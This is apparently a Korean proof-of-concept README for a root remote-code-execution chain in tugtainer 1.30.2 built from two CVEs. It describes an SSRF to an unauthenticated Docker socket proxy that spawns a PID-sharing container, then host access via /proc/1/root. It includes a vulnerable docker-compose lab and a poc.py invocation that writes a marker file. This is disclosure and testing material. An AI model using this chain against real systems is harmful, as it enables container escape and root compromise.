
CVE-2026-55494와 CVE-2026-62308의 조합을 사용하여 tugtainer에서 루트 권한 RCE를 획득
이 RCE는 2개의 취약점을 악용하여 얻습니다.
간단히 말해, SSRF 취약점을 악용하여 내부 네트워크의 인증되지 않은 서비스를 호출하고 tugtainer와 동일한 PID를 공유하는 도커를 생성합니다. 이를 통해 /proc/1/root를 경유하여 tugtainer 도커의 파일 시스템에 접근할 수 있게 되며, 생성된 도커는 루트 수준 권한을 가지므로 기술적으로 tugtainer 도커 시스템에 대한 루트 권한을 갖게 됩니다.
docker-compose.yml로 Docker Compose를 실행하거나, 다음 내용을 복사하여 붙여넣으세요.networks:
tugtainer:
driver: bridge
services:
socket-proxy:
image: lscr.io/linuxserver/socket-proxy:latest
container_name: socket-proxy
environment:
CONTAINERS: 1
EVENTS: 1
IMAGES: 1
INFO: 1
LOG_LEVEL: warning
PING: 1
NETWORKS: 1
POST: 1
TZ: Europe/Moscow
VERSION: 1
volumes:
- /var/run/docker.sock:/var/run/docker.sock:ro
restart: unless-stopped
read_only: true
tmpfs:
- /run
networks:
- tugtainer
labels:
dev.quenary.tugtainer.protected: True
app:
depends_on:
- socket-proxy
container_name: tugtainer
image: ghcr.io/quenary/tugtainer:1.30.2
tmpfs:
- /tugtainer:size=100m
restart: unless-stopped
environment:
DOCKER_HOST: tcp://socket-proxy:2375
networks:
- tugtainer
ports:
- '9412:80'
labels:
dev.quenary.tugtainer.protected: True
poc.py를 실행하세요.$ python poc.py <URL> <PASSWORD> <COMMAND>
$ python poc.py http://localhost:9412 Admin123! "whoami > /proc/1/root/tmp/pwned"
/tmp에 pwned 파일을 생성해야 합니다.